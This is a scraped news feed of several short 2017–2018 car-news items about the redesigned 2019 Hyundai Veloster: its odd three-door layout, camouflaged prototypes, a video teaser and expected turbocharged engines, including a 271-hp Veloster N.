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]]> https://briefnews.eu/2019-hyundai-veloster-yep-it-still-has-funky-doors-official-photos-and-info/feed/ 0 The New Hyundai Veloster Is Here, and Yes, It Still Has Funky Doors https://briefnews.eu/the-new-hyundai-veloster-is-here-and-yes-it-still-has-funky-doors/ https://briefnews.eu/the-new-hyundai-veloster-is-here-and-yes-it-still-has-funky-doors/#respond Tue, 16 Jan 2018 10:00:23 +0000 http://briefnews.eu/the-new-hyundai-veloster-is-here-and-yes-it-still-has-funky-doors/ 2019-Hyundai-Veloster-PLACEMENT

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Hyundai created the first Veloster by taking the bones of its familiar and conventional Accent compact car and whipping up a hatchback that, at first glance, looked as if it had a conventional five-door layout. Of course, that was only if onlookers were on the passenger side, which sported two portals. On the driver’s side, they’d think it was a three-door, as there was just one door there. Even now, more than six years after that car went on sale in the United States, this layout is still weird. Unfortunately, the funkiness and fun promised by the oddball door design didn’t carry over to the driving experience, as even the hottest versions proved to be lukewarm. This all-new 2019 model promises more performance while still keeping the funk factor high. READ MORE ››

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]]> https://briefnews.eu/the-new-hyundai-veloster-is-here-and-yes-it-still-has-funky-doors/feed/ 0 Hyundai Veloster video lets us hear what's coming https://briefnews.eu/hyundai-veloster-video-lets-us-hear-whats-coming/ https://briefnews.eu/hyundai-veloster-video-lets-us-hear-whats-coming/#respond Wed, 20 Dec 2017 02:29:09 +0000 http://briefnews.eu/hyundai-veloster-video-lets-us-hear-whats-coming/
A couple of weeks ago we rather enjoyed seeing the redesigned Hyundai Veloster in some jaunty camo, a look we’d actually enjoy having as an option to buy. And just yesterday we saw it nekkid in spy shots taken of a video shoot. Now Hyundai has released a video teaser to the new car, and what’s interesting is not what we see — the car in the video is back in the multicolored camo again — but rather what we hear.

Expect the Veloster Turbo to share the 201-horsepower turbocharged 1.6-liter inline-four and transmissions from the Elantra GT Sport. And we expect, or at least hope, that the hopped-up Veloster N will get the 271-horsepower turbocharged inline-four from the i30 N, a car we won’t get in the States.

So what are we hearing here? Hard to know. It’s more likely Hollywood (or rather Seoul) special effects than the sound of the 1.6 turbo. And spy shots of the Veloster N have shown it wearing a wing, which doesn’t seem to be the case with the teased car. Maybe the wing’s an option or won’t be offered in production. But the grille shape of the video car also does not seem to conform to what we’ve seen on the Nürburgring. And the Veloster N isn’t expected to be offered right off the bat, anyway.

Whatever it is, it sounds pretty good. It’d be nice to think this is how the car will be.

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]]> https://briefnews.eu/hyundai-veloster-video-lets-us-hear-whats-coming/feed/ 0 Hatchback in Hiding: The 2019 Hyundai Veloster Steps Out in Disguise https://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise-2/ https://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise-2/#respond Wed, 29 Nov 2017 01:09:55 +0000 http://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise-2/ –2019 Hyundai Veloster–2019 Hyundai Veloster–2019 Hyundai Veloster–2019 Hyundai Veloster–2019 Hyundai Veloster—

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]]> https://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise-2/feed/ 0 Hatchback in Hiding: The 2019 Hyundai Veloster Steps Out in Disguise https://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise/ https://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise/#respond Wed, 29 Nov 2017 00:10:07 +0000 http://briefnews.eu/hatchback-in-hiding-the-2019-hyundai-veloster-steps-out-in-disguise/ 2019-Hyundai-Veloster-104

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The second generation of Hyundai’s funky Veloster hatchback is right around the corner, and we came across these camouflaged photos that give us our best glimpse yet at what it will look like. From what we can see through the colorful disguise, the new Veloster features more distinctive side surfacing, although its overall shape doesn’t change much. And, yes, the three-door arrangement continues, even if the passenger-side rear door is not visible in these images.

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We’re told that these photos show the Hyundai Veloster Turbo, which we assume will use the same turbocharged 1.6-liter four-cylinder found in the current Veloster. Expect about 200 horsepower, with the engine’s output sent to the front wheels via a six-speed manual or seven-speed dual-clutch automatic transmission. The base Veloster should use the same 161-hp naturally aspirated 2.0-liter four as the Elantra GT, given that the three-door shares its basic underpinnings with that hatchback.

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Perhaps the most enticing tidbit about the new Veloster is the promise of an even hotter Veloster N, tuned by Hyundai’s new performance division. It’s tipped to share the same basic components as the Europe-market i30 N hot hatch, which is powered by a 271-hp turbocharged 2.0-liter four mated to a six-speed manual transmission.

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Look for the redesigned Veloster to make its debut in early 2018 as a 2019 model. The hotted-up Veloster N should follow a few months later.

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